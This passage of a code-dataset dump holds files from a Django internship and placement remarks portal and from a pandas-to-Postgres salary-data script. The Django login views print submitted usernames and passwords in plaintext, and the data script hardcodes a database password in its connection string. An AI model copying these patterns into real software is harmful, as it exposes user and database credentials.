]\n"},{"alpha_fraction":0.6700251698493958,"alphanum_fraction":0.6901763081550598,"avg_line_length":36.71428680419922,"blob_id":"fcbedb120f6cf20132c1144dc2cd7f32824b93b2","content_id":"af79522eacb9854de5cdcdf51716046d9d57f92b","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":794,"license_type":"no_license","max_line_length":75,"num_lines":21,"path":"/Diary_Portal/diary/models.py","repo_name":"Naman027/Intern-Placement-CCD-Portal","src_encoding":"UTF-8","text":"from django.db import models\nfrom datetime import datetime\n# Create your models here.\nclass company(models.Model):\n CompanyName = models.CharField(max_length=100)\n POC = models.CharField(max_length=100)\n CPOC = models.CharField(max_length=100)\n order = models.AutoField(primary_key=True)\n TopRemark = models.TextField()\n placement = models.BooleanField()\n def __str__(self):\n return self.CompanyName\n\nclass remarks(models.Model):\n company = models.ForeignKey(company,on_delete=models.CASCADE,default=0)\n remark = models.TextField()\n datetime = models.DateTimeField(auto_now=True)\n CPOC = models.CharField(max_length=100)\n POC = models.CharField(max_length=100)\n def __str__(self):\n return self.company.CompanyName\n\n\n"},{"alpha_fraction":0.5122807025909424,"alphanum_fraction":0.5789473652839661,"avg_line_length":16.8125,"blob_id":"d7e1ae370cd3aa4d166d99482d43b9195a4998f5","content_id":"932c6423d95858f3eed07b6e48de6ed24d51cf23","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":285,"license_type":"no_license","max_line_length":47,"num_lines":16,"path":"/Diary_Portal/diary/migrations/0011_delete_row_base.py","repo_name":"Naman027/Intern-Placement-CCD-Portal","src_encoding":"UTF-8","text":"# Generated by Django 3.0.2 on 2020-02-15 09:02\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('diary', '0010_row_base'),\n ]\n\n operations = [\n migrations.DeleteModel(\n name='row_base',\n ),\n ]\n"}],"string":"[\n {\n \"alpha_fraction\": 0.5942480564117432,\n \"alphanum_fraction\": 0.5967645049095154,\n \"avg_line_length\": 36.936363220214844,\n \"blob_id\": \"d95b395d724a4a4d7899375b97fe72d11a494535\",\n \"content_id\": \"c636b87346f5c2cc3cf2e8375b9db225273c074e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 8345,\n \"license_type\": \"no_license\",\n \"max_line_length\": 133,\n \"num_lines\": 220,\n \"path\": \"/Diary_Portal/diary/views.py\",\n \"repo_name\": \"Naman027/Intern-Placement-CCD-Portal\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.shortcuts import render\\nfrom .models import company,remarks\\nfrom . import forms\\nfrom django.http import HttpResponseRedirect, HttpResponse\\nfrom django.urls import reverse\\nfrom django.contrib.auth import authenticate, login, logout\\nfrom django.contrib.auth.forms import PasswordChangeForm\\nfrom django.contrib import messages\\n\\n\\ndef session_logout(request):\\n\\tlogout(request)\\n\\treturn HttpResponseRedirect(reverse('main_page'))\\n\\ndef getPlacement(request):\\n print(\\\"Entered in getPlacement\\\")\\n list = company.objects.filter(placement=True)\\n if request.POST:\\n print(\\\"CHECK1\\\")\\n print('post', request.POST)\\n if request.user.is_authenticated:\\n return getmainpage(request)\\n username = request.POST.get('Username')\\n password = request.POST.get('Password')\\n print('{} {}'.format(username, password))\\n user = authenticate(username=username, password=password)\\n if user and user.first_name==\\\"PLACEMENT\\\":\\n print(\\\"CHECK2\\\")\\n if user.is_active:\\n print(\\\"CHECK3\\\")\\n login(request, user)\\n return HttpResponseRedirect(reverse('main_page'))\\n else:\\n print(\\\"CHECK4\\\")\\n messages.error(request, 'Invalid Details')\\n form = forms.authentication()\\n return render(request, 'diary/Auth.html', {'form': form})\\n else:\\n print(\\\"CHECK5\\\")\\n messages.error(request, 'Invalid Details')\\n form = forms.authentication()\\n return render(request, 'diary/Auth.html', {'form': form})\\n else:\\n print(\\\"CHECK6\\\")\\n form = forms.authentication()\\n return render(request, 'diary/Auth.html', {'form': form})\\n\\n\\ndef getIntern(request):\\n list = company.objects.filter(placement=False)\\n if request.POST:\\n print(\\\"CHECK1\\\")\\n print('post', request.POST)\\n if request.user.is_authenticated:\\n return getmainpage(request)\\n username = request.POST.get('Username')\\n password = request.POST.get('Password')\\n print('{} {}'.format(username, password))\\n user = authenticate(username=username, password=password)\\n if user and user.first_name==\\\"INTERN\\\":\\n print(\\\"CHECK2\\\")\\n if user.is_active:\\n print(\\\"CHECK3\\\")\\n login(request, user)\\n return HttpResponseRedirect(reverse('main_page'))\\n else:\\n print(\\\"CHECK4\\\")\\n messages.error(request, 'Invalid Details')\\n form = forms.authentication()\\n return render(request, 'diary/Auth.html', {'form': form})\\n else:\\n print(\\\"CHECK5\\\")\\n messages.error(request, 'Invalid Details')\\n form = forms.authentication()\\n return render(request, 'diary/Auth.html', {'form': form})\\n else:\\n print(\\\"CHECK6\\\")\\n form = forms.authentication()\\n return render(request, 'diary/Auth.html', {'form': form})\\n\\ndef placement_edit(request,cpk):\\n c = company.objects.get(pk=cpk)\\n final1 = []\\n final1.append(c)\\n return render(request, 'diary/edit_company.html', {'company': final1})\\n\\ndef getmainpage(request):\\n if request.user.is_authenticated:\\n print(\\\"Authenticated\\\")\\n print('{} {}',request.user.username)\\n if request.user.first_name==\\\"INTERN\\\":\\n return render(request, 'diary/intern_base.html')\\n if request.user.first_name==\\\"PLACEMENT\\\":\\n return render(request, 'diary/placement_base.html')\\n else:\\n print(\\\"Not Authenticated\\\")\\n return render(request,'diary/placement_or_intern.html')\\n\\n\\ndef getremarks(request,pk):\\n c = company.objects.get(pk=pk)\\n remark = remarks.objects.filter(company=c).order_by('datetime').reverse()\\n return render(request,'diary/company_remarks.html',{'remark':remark})\\n\\n\\ndef save_changes_view(request,pk):\\n c = company.objects.get(pk=pk)\\n if request.method=='POST':\\n form = forms.save_changes(request.POST)\\n if form.is_valid():\\n poc = form.cleaned_data['POC']\\n cpoc = form.cleaned_data['CPOC']\\n remark = form.cleaned_data['Remark']\\n c.CPOC = cpoc\\n c.POC = poc\\n c.TopRemark = remark\\n c.save()\\n print(poc+\\\" \\\"+cpoc+\\\" \\\"+remark)\\n remarks(company=c,remark=remark,CPOC=cpoc).save()\\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\\n else:\\n form = forms.save_changes()\\n return render(request,'diary/edit_company.html',{'form':form,'c':c})\\n\\n\\ndef add_placement_company(request):\\n if request.method=='POST':\\n form = forms.add_company(request.POST)\\n if form.is_valid():\\n c = company()\\n c.CompanyName = form.cleaned_data['CompanyName']\\n c.POC = form.cleaned_data['POC']\\n c.CPOC = form.cleaned_data['CPOC']\\n c.placement = True\\n c.TopRemark = form.cleaned_data['Remark']\\n c.save()\\n remarks(company=c,remark=c.TopRemark,CPOC=c.CPOC,POC=c.POC).save()\\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\\n else:\\n form = forms.add_company()\\n return render(request,'diary/add_company.html',{'form':form})\\n\\ndef add_intern_company(request):\\n if request.method=='POST':\\n form = forms.add_company(request.POST)\\n if form.is_valid():\\n c = company()\\n c.CompanyName = form.cleaned_data['CompanyName']\\n c.POC = form.cleaned_data['POC']\\n c.CPOC = form.cleaned_data['CPOC']\\n c.placement = False\\n c.TopRemark = form.cleaned_data['Remark']\\n c.save()\\n remarks(company=c,remark=c.TopRemark,CPOC=c.CPOC,POC=c.POC).save()\\n return HttpResponseRedirect(request.META.get('HTTP_REFERER', '/'))\\n else:\\n form = forms.add_company()\\n return render(request,'diary/add_company.html',{'form':form})\\n\\ndef searchPlacement(request):\\n print('I m Here')\\n if request.method == 'POST':\\n print(\\\"success\\\")\\n search_text = request.POST['search_text1']\\n all_company =(company.objects.filter(CompanyName__contains=search_text)|company.objects.filter(POC__contains=search_text))\\n temp = all_company\\n for c in all_company:\\n if c.placement == False:\\n temp = temp.exclude(pk=c.pk)\\n return render(request, 'diary/ajax_results1.html', {'all_company': temp})\\n else:\\n print(\\\"fail\\\")\\n search_text = ''\\n all_company = company.objects.all()\\n temp = all_company\\n for c in all_company:\\n if c.placement == False:\\n temp = temp.exclude(pk=c.pk)\\n return render(request, 'diary/ajax_results1.html', {'all_company': temp})\\n\\n\\ndef searchIntern(request):\\n print('I m Here')\\n if request.method == 'POST':\\n print(\\\"success\\\")\\n search_text = request.POST['search_text2']\\n all_company = (company.objects.filter(CompanyName__contains=search_text) | company.objects.filter(POC__contains=search_text))\\n temp = all_company\\n for c in all_company:\\n if c.placement == True:\\n temp = temp.exclude(pk=c.pk)\\n return render(request, 'diary/ajax_results2.html', {'all_company': temp})\\n else:\\n print(\\\"fail\\\")\\n search_text = ''\\n all_company = company.objects.all()\\n temp = all_company\\n for c in all_company:\\n if c.placement == True:\\n temp = temp.exclude(pk=c.pk)\\n return render(request, 'diary/ajax_results2.html', {'all_company': temp})\\n\\n\\n\\ndef change_password(request):\\n\\tif request.user.is_authenticated:\\n\\t if request.method == 'POST':\\n\\t form = PasswordChangeForm(request.user, request.POST)\\n\\t if form.is_valid():\\n\\t user = form.save()\\n\\t messages.success(request, 'Your password was successfully updated!')\\n\\t return HttpResponseRedirect(reverse('main_page'))\\n\\t else:\\n\\t messages.error(request, 'Please correct the error below.')\\n\\t else:\\n\\t form = PasswordChangeForm(request.user)\\n\\t return render(request, 'diary/edit_ID.html', {\\n\\t 'form': form\\n\\t })\\n\\treturn HttpResponseRedirect(reverse('main_page'))\"\n },\n {\n \"alpha_fraction\": 0.5491183996200562,\n \"alphanum_fraction\": 0.5969773530960083,\n \"avg_line_length\": 21.05555534362793,\n \"blob_id\": \"c2d21fb0054b6b488a79e9ceec279bf9af546b6d\",\n \"content_id\": \"e22232ceeca2903ef65a7aec9f1ec2f23257567a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 397,\n \"license_type\": \"no_license\",\n \"max_line_length\": 54,\n \"num_lines\": 18,\n \"path\": \"/Diary_Portal/diary/migrations/0007_remarks_datetime.py\",\n \"repo_name\": \"Naman027/Intern-Placement-CCD-Portal\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Generated by Django 3.0.2 on 2020-02-02 09:25\\n\\nfrom django.db import migrations, models\\n\\n\\nclass Migration(migrations.Migration):\\n\\n dependencies = [\\n ('diary', '0006_remove_remarks_companyname'),\\n ]\\n\\n operations = [\\n migrations.AddField(\\n model_name='remarks',\\n name='datetime',\\n field=models.DateTimeField(auto_now=True),\\n ),\\n ]\\n\"\n },\n {\n \"alpha_fraction\": 0.6822066903114319,\n \"alphanum_fraction\": 0.7264957427978516,\n \"avg_line_length\": 54.91304397583008,\n \"blob_id\": \"87bf198d20598f675d90c63afebd0df3e01ea334\",\n \"content_id\": \"a94cdd99fcd815ec9ed09728bc11f324362a5a95\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1287,\n \"license_type\": \"no_license\",\n \"max_line_length\": 102,\n \"num_lines\": 23,\n \"path\": \"/Diary_Portal/diary/forms.py\",\n \"repo_name\": \"Naman027/Intern-Placement-CCD-Portal\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django import forms\\n\\nclass save_changes(forms.Form):\\n POC = forms.CharField(max_length=100, widget=forms.Textarea(attrs={'rows':1, 'cols': 55}))\\n CPOC = forms.CharField(max_length=100, widget=forms.Textarea(attrs={'rows':1, 'cols': 55}))\\n Remark = forms.CharField(widget=forms.Textarea(attrs={'rows':4, 'cols':55}))\\n\\nclass add_company(forms.Form):\\n CompanyName = forms.CharField(max_length=100, widget=forms.Textarea(attrs={'rows':1, 'cols': 55}))\\n POC = forms.CharField(max_length=100, widget=forms.Textarea(attrs={'rows':1, 'cols': 55}))\\n CPOC = forms.CharField(max_length=100, widget=forms.Textarea(attrs={'rows':1, 'cols': 55}))\\n Remark = forms.CharField(widget=forms.Textarea(attrs={'rows':4, 'cols':55}))\\n\\nclass authentication(forms.Form):\\n Username = forms.CharField(max_length=100)\\n Password = forms.CharField(max_length=100,widget=forms.PasswordInput)\\n\\nclass change_username_password(forms.Form):\\n Current_Username = forms.CharField(max_length=100)\\n Current_Password = forms.CharField(max_length=100,widget=forms.PasswordInput)\\n New_Username = forms.CharField(max_length=100)\\n New_Password = forms.CharField(max_length=100,widget=forms.PasswordInput)\\n Confirm_Password = forms.CharField(max_length=100,widget=forms.PasswordInput)\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5280373692512512,\n \"alphanum_fraction\": 0.5794392228126526,\n \"avg_line_length\": 21.526315689086914,\n \"blob_id\": \"074ab92c54b8764e2275c2949b05c1ef3eb44032\",\n \"content_id\": \"df95a71928d3dc81ff40ac65858a161c4bef36bb\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 428,\n \"license_type\": \"no_license\",\n \"max_line_length\": 63,\n \"num_lines\": 19,\n \"path\": \"/Diary_Portal/diary/migrations/0013_remarks_poc.py\",\n \"repo_name\": \"Naman027/Intern-Placement-CCD-Portal\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Generated by Django 3.0.2 on 2020-02-21 15:51\\n\\nfrom django.db import migrations, models\\n\\n\\nclass Migration(migrations.Migration):\\n\\n dependencies = [\\n ('diary', '0012_company_topremark'),\\n ]\\n\\n operations = [\\n migrations.AddField(\\n model_name='remarks',\\n name='POC',\\n field=models.CharField(default='', max_length=100),\\n preserve_default=False,\\n ),\\n ]\\n\"\n },\n {\n \"alpha_fraction\": 0.5382775068283081,\n \"alphanum_fraction\": 0.5837320685386658,\n \"avg_line_length\": 21,\n \"blob_id\": \"8d0b04c83982531b1283b53e66dee998bb45de21\",\n \"content_id\": \"bfd81d480be2fade74aa028ce4845ce4da0df61f\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 418,\n \"license_type\": \"no_license\",\n \"max_line_length\": 52,\n \"num_lines\": 19,\n \"path\": \"/Diary_Portal/diary/migrations/0009_company_placement.py\",\n \"repo_name\": \"Naman027/Intern-Placement-CCD-Portal\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Generated by Django 3.0.2 on 2020-02-14 16:28\\n\\nfrom django.db import migrations, models\\n\\n\\nclass Migration(migrations.Migration):\\n\\n dependencies = [\\n ('diary', '0008_remarks_cpoc'),\\n ]\\n\\n operations = [\\n migrations.AddField(\\n model_name='company',\\n name='placement',\\n field=models.BooleanField(default=True),\\n preserve_default=False,\\n ),\\n ]\\n\"\n },\n {\n \"alpha_fraction\": 0.5811966061592102,\n \"alphanum_fraction\": 0.6239316463470459,\n \"avg_line_length\": 23.63157844543457,\n \"blob_id\": \"5397bd02ee93e5cccd84f42e9eba20eef517cd9f\",\n \"content_id\": \"bebe2cca8fb8120a5b4a096c48585ac783e245aa\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 468,\n \"license_type\": \"no_license\",\n \"max_line_length\": 112,\n \"num_lines\": 19,\n \"path\": \"/Diary_Portal/diary/migrations/0004_remarks_company.py\",\n \"repo_name\": \"Naman027/Intern-Placement-CCD-Portal\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Generated by Django 3.0.2 on 2020-02-02 05:35\\n\\nfrom django.db import migrations, models\\nimport django.db.models.deletion\\n\\n\\nclass Migration(migrations.Migration):\\n\\n dependencies = [\\n ('diary', '0003_remarks'),\\n ]\\n\\n operations = [\\n migrations.AddField(\\n model_name='remarks',\\n name='company',\\n field=models.ForeignKey(default=0, on_delete=django.db.models.deletion.CASCADE, to='diary.company'),\\n ),\\n ]\\n\"\n },\n {\n \"alpha_fraction\": 0.6686217188835144,\n \"alphanum_fraction\": 0.6686217188835144,\n \"avg_line_length\": 52.894737243652344,\n \"blob_id\": \"0e425cbe2cbb53bd1055cbb510c9adcd6c74c1f1\",\n \"content_id\": \"8a54f02876bf5a06e9358f0644867985e4aca10a\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 1023,\n \"license_type\": \"no_license\",\n \"max_line_length\": 95,\n \"num_lines\": 19,\n \"path\": \"/Diary_Portal/diary/urls.py\",\n \"repo_name\": \"Naman027/Intern-Placement-CCD-Portal\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.conf.urls import url,include\\nfrom . import views\\nurlpatterns = [\\n\\n url(r'^$',views.getmainpage,name='main_page'),\\n url(r'^placement/remarks/(?P<pk>\\\\d+)/$', views.getremarks, name='premarks'),\\n url(r'^intern/remarks/(?P<pk>\\\\d+)/$', views.getremarks, name='iremarks'),\\n url(r'placement/$', views.getPlacement,name='placement'),\\n url(r'intern/$', views.getIntern, name='intern'),\\n url(r'^intern/(?P<pk>\\\\d+)/$', views.save_changes_view, name='intern_company_edit'),\\n url(r'^placement/(?P<pk>\\\\d+)/$', views.save_changes_view, name='placement_company_edit'),\\n url(r'placement_add_company/$', views.add_placement_company, name='placement_add_company'),\\n url(r'intern_add_company/$', views.add_intern_company, name='intern_add_company'),\\n \\turl(r'placement/search/$', views.searchPlacement, name='search'),\\n url(r'intern/search/$', views.searchIntern, name='search'),\\n url(r'logout/$', views.session_logout, name='logout'),\\n url(r'edit_ID/$', views.change_password, name='edit_ID')\\n\\n]\"\n },\n {\n \"alpha_fraction\": 0.5199999809265137,\n \"alphanum_fraction\": 0.5784615278244019,\n \"avg_line_length\": 18.117647171020508,\n \"blob_id\": \"12dfeef41587a181d879a0aa62586ff9b6a4ed4c\",\n \"content_id\": \"8952b2abb0773dc244565f2d4686e7b460a31a5e\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 325,\n \"license_type\": \"no_license\",\n \"max_line_length\": 47,\n \"num_lines\": 17,\n \"path\": \"/Diary_Portal/diary/migrations/0005_remove_company_remarks.py\",\n \"repo_name\": \"Naman027/Intern-Placement-CCD-Portal\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Generated by Django 3.0.2 on 2020-02-02 06:02\\n\\nfrom django.db import migrations\\n\\n\\nclass Migration(migrations.Migration):\\n\\n dependencies = [\\n ('diary', '0004_remarks_company'),\\n ]\\n\\n operations = [\\n migrations.RemoveField(\\n model_name='company',\\n name='Remarks',\\n ),\\n ]\\n\"\n },\n {\n \"alpha_fraction\": 0.7384843826293945,\n \"alphanum_fraction\": 0.7429420351982117,\n \"avg_line_length\": 22.20689582824707,\n \"blob_id\": \"e630311024bcd1d6b698e6cb3b443735ca95fafe\",\n \"content_id\": \"874d30595393d91f99ad1be1d47424cffdd13ec5\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 673,\n \"license_type\": \"no_license\",\n \"max_line_length\": 121,\n \"num_lines\": 29,\n \"path\": \"/README.md\",\n \"repo_name\": \"Naman027/Intern-Placement-CCD-Portal\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Intern-and-Placement-CCD-Portal\\n\\n## About The Project\\n>This is CCD's Diary Portal used during Internships as well as Placements. \\n<li>Developed CCD portal's diary component to automate the remark system.</li>\\n<li>Implemented proffering, searching, addition as well as removal of companies, their remarks and respective POC's.</li>\\n<li>Different Pages for Intern and Placements related things</li>\\n\\n## Built With\\n### Backend\\n<li>Django - Python</li>\\n\\n### Frontend\\n<li>HTML</li>\\n<li>CSS</li>\\n\\n## Prerequisites\\n1. Python\\n2. Basic HTML,CSS \\n3. Django Framework\\n\\n## Usage\\n```\\nClone this git repo.\\nJust run a django server.\\n\\n```\\n\\nFurther Contributions/Suggestions are welcome.\\n\"\n },\n {\n \"alpha_fraction\": 0.5333333611488342,\n \"alphanum_fraction\": 0.5785714387893677,\n \"avg_line_length\": 21.105262756347656,\n \"blob_id\": \"131b8673b2a7251bb33cb827793ee898d1af3405\",\n \"content_id\": \"def1310558f0799f8596ecc07480b74e574aa8a6\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 420,\n \"license_type\": \"no_license\",\n \"max_line_length\": 51,\n \"num_lines\": 19,\n \"path\": \"/Diary_Portal/diary/migrations/0012_company_topremark.py\",\n \"repo_name\": \"Naman027/Intern-Placement-CCD-Portal\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Generated by Django 3.0.2 on 2020-02-15 09:06\\n\\nfrom django.db import migrations, models\\n\\n\\nclass Migration(migrations.Migration):\\n\\n dependencies = [\\n ('diary', '0011_delete_row_base'),\\n ]\\n\\n operations = [\\n migrations.AddField(\\n model_name='company',\\n name='TopRemark',\\n field=models.TextField(default='NULL'),\\n preserve_default=False,\\n ),\\n ]\\n\"\n },\n {\n \"alpha_fraction\": 0.7881944179534912,\n \"alphanum_fraction\": 0.7881944179534912,\n \"avg_line_length\": 23.08333396911621,\n \"blob_id\": \"d640a7b99c1322ba1dcca8a97c9541c02569aded\",\n \"content_id\": \"81b4f515e341da56f405a848013d320b32282f33\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 288,\n \"license_type\": \"no_license\",\n \"max_line_length\": 41,\n \"num_lines\": 12,\n \"path\": \"/Diary_Portal/diary/admin.py\",\n \"repo_name\": \"Naman027/Intern-Placement-CCD-Portal\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.contrib import admin\\nfrom .models import company,remarks\\n# Register your models here.\\n\\n\\nclass remarksInline(admin.StackedInline):\\n model = remarks\\n\\nclass courseadmin(admin.ModelAdmin):\\n inlines = [remarksInline,]\\nadmin.site.register(company)\\nadmin.site.register(remarks)\"\n },\n {\n \"alpha_fraction\": 0.5,\n \"alphanum_fraction\": 0.5598591566085815,\n \"avg_line_length\": 26.047618865966797,\n \"blob_id\": \"9f069d05b9850b464b3d5dae61449144633b5cc0\",\n \"content_id\": \"a347d8a637b121eb962e833986a354510de9d79b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 568,\n \"license_type\": \"no_license\",\n \"max_line_length\": 114,\n \"num_lines\": 21,\n \"path\": \"/Diary_Portal/diary/migrations/0003_remarks.py\",\n \"repo_name\": \"Naman027/Intern-Placement-CCD-Portal\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Generated by Django 3.0.2 on 2020-02-01 13:07\\n\\nfrom django.db import migrations, models\\n\\n\\nclass Migration(migrations.Migration):\\n\\n dependencies = [\\n ('diary', '0002_auto_20200201_0704'),\\n ]\\n\\n operations = [\\n migrations.CreateModel(\\n name='remarks',\\n fields=[\\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\\n ('CompanyName', models.CharField(max_length=100)),\\n ('remark', models.TextField()),\\n ],\\n ),\\n ]\\n\"\n },\n {\n \"alpha_fraction\": 0.6700251698493958,\n \"alphanum_fraction\": 0.6901763081550598,\n \"avg_line_length\": 36.71428680419922,\n \"blob_id\": \"fcbedb120f6cf20132c1144dc2cd7f32824b93b2\",\n \"content_id\": \"af79522eacb9854de5cdcdf51716046d9d57f92b\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 794,\n \"license_type\": \"no_license\",\n \"max_line_length\": 75,\n \"num_lines\": 21,\n \"path\": \"/Diary_Portal/diary/models.py\",\n \"repo_name\": \"Naman027/Intern-Placement-CCD-Portal\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"from django.db import models\\nfrom datetime import datetime\\n# Create your models here.\\nclass company(models.Model):\\n CompanyName = models.CharField(max_length=100)\\n POC = models.CharField(max_length=100)\\n CPOC = models.CharField(max_length=100)\\n order = models.AutoField(primary_key=True)\\n TopRemark = models.TextField()\\n placement = models.BooleanField()\\n def __str__(self):\\n return self.CompanyName\\n\\nclass remarks(models.Model):\\n company = models.ForeignKey(company,on_delete=models.CASCADE,default=0)\\n remark = models.TextField()\\n datetime = models.DateTimeField(auto_now=True)\\n CPOC = models.CharField(max_length=100)\\n POC = models.CharField(max_length=100)\\n def __str__(self):\\n return self.company.CompanyName\\n\\n\\n\"\n },\n {\n \"alpha_fraction\": 0.5122807025909424,\n \"alphanum_fraction\": 0.5789473652839661,\n \"avg_line_length\": 16.8125,\n \"blob_id\": \"d7e1ae370cd3aa4d166d99482d43b9195a4998f5\",\n \"content_id\": \"932c6423d95858f3eed07b6e48de6ed24d51cf23\",\n \"detected_licenses\": [],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Python\",\n \"length_bytes\": 285,\n \"license_type\": \"no_license\",\n \"max_line_length\": 47,\n \"num_lines\": 16,\n \"path\": \"/Diary_Portal/diary/migrations/0011_delete_row_base.py\",\n \"repo_name\": \"Naman027/Intern-Placement-CCD-Portal\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \"# Generated by Django 3.0.2 on 2020-02-15 09:02\\n\\nfrom django.db import migrations\\n\\n\\nclass Migration(migrations.Migration):\\n\\n dependencies = [\\n ('diary', '0010_row_base'),\\n ]\\n\\n operations = [\\n migrations.DeleteModel(\\n name='row_base',\\n ),\\n ]\\n\"\n }\n]","isConversational":false},"num_files":{"kind":"number","value":14,"string":"14"}}},{"rowIdx":2984086,"cells":{"repo_name":{"kind":"string","value":"wolfenelson/sqltest"},"repo_url":{"kind":"string","value":"https://github.com/wolfenelson/sqltest"},"snapshot_id":{"kind":"string","value":"83a95d833b03531c836b251318880ab6ca028f58"},"revision_id":{"kind":"string","value":"ba373d1a0a86850c1602aae90e9f278735e5cb59"},"directory_id":{"kind":"string","value":"576eb16b6609e11365f95c32231ee51f545d9dfd"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-07-07T19:34:52.828234","string":"2020-07-07T19:34:52.828234"},"revision_date":{"kind":"timestamp","value":"2019-08-21T17:42:10","string":"2019-08-21T17:42:10"},"committer_date":{"kind":"timestamp","value":"2019-08-21T17:42:10","string":"2019-08-21T17:42:10"},"github_id":{"kind":"number","value":203456044,"string":"203,456,044"},"star_events_count":{"kind":"number","value":1,"string":"1"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_language":{"kind":"null"},"files":{"kind":"list like","value":[{"alpha_fraction":0.6937562227249146,"alphanum_fraction":0.7145688533782959,"avg_line_length":58.35293960571289,"blob_id":"8d7f26f26d8b39dea4d8c785f25d2629bcd06fbe","content_id":"81035037c7b4bb36b6d5ea8fc084cf470856e4c9","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"Python","length_bytes":1009,"license_type":"no_license","max_line_length":177,"num_lines":17,"path":"/data_to_postgres.py","repo_name":"wolfenelson/sqltest","src_encoding":"UTF-8","text":"import numpy as np\nimport pandas as pd\nfrom sqlalchemy import create_engine\n\ntext = open('data_full.txt', 'r') #trying as a txt to clean more easily\ntext_data = text.read()\ntext_clean = text_data.strip('{\"sEcho\":1,\"iTotalRecords\":\"6960815\",\"iTotalDisplayRecords\":\"1415931\",\"aaData\":') #this sequence is what gives us the problem, so removing it first\ntext_rows = text_clean.split('],') #turn into a list by entry\n\ndf = pd.DataFrame(text_rows) #turn into a dataframe\ndf_full = df[0].str.split('\",', expand = True) #split it on \", because there are commas in some of the desired columns (e.g. salary, occupation)\ndf_full.columns = ['name', 'grade', 'pay_type', 'salary', 'bonus', 'department', 'city', 'job', 'year'] #have the dataframe\ndf_full.replace(to_replace='\"', value='', inplace = True, regex=True)\n\n##pushing to postgres\nengine = create_engine('postgresql+psycopg2://postgres:Oksurefine1955@localhost/trialrun')\ndf_full.to_sql('govt_data', con=engine, schema='test', if_exists='replace',index=False)\n"},{"alpha_fraction":0.7129367589950562,"alphanum_fraction":0.7202004790306091,"avg_line_length":27.98105239868164,"blob_id":"019653193f6f10aa5252a1a549e4d9f082298f8a","content_id":"90e85ebf33392ab83dbfc7b162de8f1697efda00","detected_licenses":[],"is_generated":false,"is_vendor":false,"language":"SQL","length_bytes":13767,"license_type":"no_license","max_line_length":146,"num_lines":475,"path":"/sql_test.sql","repo_name":"wolfenelson/sqltest","src_encoding":"UTF-8","text":"create schema if not exists test;\n\n\"table was already imported through python, running a test to make sure it's all there\"\n\nselect *\nfrom govt_data\norder by name\nlimit 2000;\n\n\"PART I: Making a table of data according to General Schedule Pay Areas (MSAs)\"\n\n\"Cleaning the data, e.g. removing $ from salary etc. There was a specific problem with NYC,\nand it's less memory intensive to just use updates rather than case/when.\"\n\ndrop table if exists govt_data_clean;\ncreate table govt_data_clean as (SELECT\n replace(name, '[', '') observed_name,\n trim(grade) observed_grade,\n trim(pay_type) observed_schedule,\n replace(salary, '$', '') observed_salary,\n replace(bonus, '$', '') observed_bonus,\n trim(department) observed_department,\n trim(city) observed_city,\n trim(job) observed_job,\n trim(year) year\nFROM govt_data\n);\n\nupdate govt_data_clean\n set observed_salary = replace(observed_salary, ',', '')\nupdate govt_data_clean\nset observed_city = 'NEW YORK' where observed_city = 'NEW YORK - NEW YORK';\nupdate govt_data_clean\nset observed_city = 'QUEENS' where observed_city = 'NEW YORK - QUEENS';\nupdate govt_data_clean\nset observed_city = 'BRONX' where observed_city = 'NEW YORK - BRONX';\nupdate govt_data_clean\nset observed_city = 'MANHATTAN' where observed_city = 'NEW YORK - MANHATTAN';\nupdate govt_data_clean\nset 